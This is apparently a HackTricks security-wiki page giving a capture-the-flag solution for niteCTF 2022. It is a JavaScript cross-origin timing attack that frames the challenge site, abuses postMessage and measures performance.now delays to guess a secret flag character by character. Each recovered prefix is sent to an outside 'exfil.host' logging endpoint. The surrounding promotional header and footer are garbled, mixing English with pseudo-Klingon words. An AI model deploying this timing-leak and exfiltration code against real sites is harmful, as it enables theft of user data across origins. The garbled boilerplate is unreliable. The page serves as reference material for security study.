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https://github.com/carlospolop/hacktricks
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67 lines
3.5 KiB
Markdown
67 lines
3.5 KiB
Markdown
# performance.now example
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<details>
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<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>tlhIngan Hol</strong></a><strong>!</strong></summary>
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* **Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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**Example taken from [https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)**
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```javascript
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const sleep = (ms) => new Promise((res) => setTimeout(res, ms));
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async function check(flag) {
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let w = frame.contentWindow;
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w.postMessage({'op': 'preview', 'payload': '<img name="enable_experimental_features">'}, '*');
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await sleep(1);
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w.postMessage({'op': 'search', 'payload': flag}, '*');
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let t1 = performance.now();
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await sleep(1);
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return (performance.now() - t1) > 200;
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}
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async function main() {
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let alpha = 'abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ-}';
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window.frame = document.createElement('iframe');
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frame.width = '100%';
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frame.height = '700px';
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frame.src = 'https://challenge.jsapi.tech/';
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document.body.appendChild(frame);
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await sleep(1000);
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let flag = 'nite{';
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while(1) {
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for(let c of alpha) {
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let result = await Promise.race([
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check(flag + c),
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new Promise((res) => setTimeout(() => { res(true); }, 300))
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]);
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console.log(flag + c, result);
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if(result) {
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flag += c;
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break;
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}
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}
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new Image().src = '//exfil.host/log?' + encodeURIComponent(flag);
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}
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}
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document.addEventListener('DOMContentLoaded', main);
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```
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<details>
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<summary><strong>qaStaHvIS AWS hacking vItlhutlh</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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* **qaStaHvIS** **cybersecurity company** vIghaj? **HackTricks** **company advertise** **vItlhutlh**? **PEASS latest version** **download HackTricks PDF** **vItlhutlh**? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) **chek**!
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* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) **ghItlh** **collection** [**NFTs**](https://opensea.io/collection/the-peass-family) **ghItlh**
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* [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **ghItlh**
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) **telegram group** **follow** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **hacktricks-cloud repo** **ghItlh**.
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</details>
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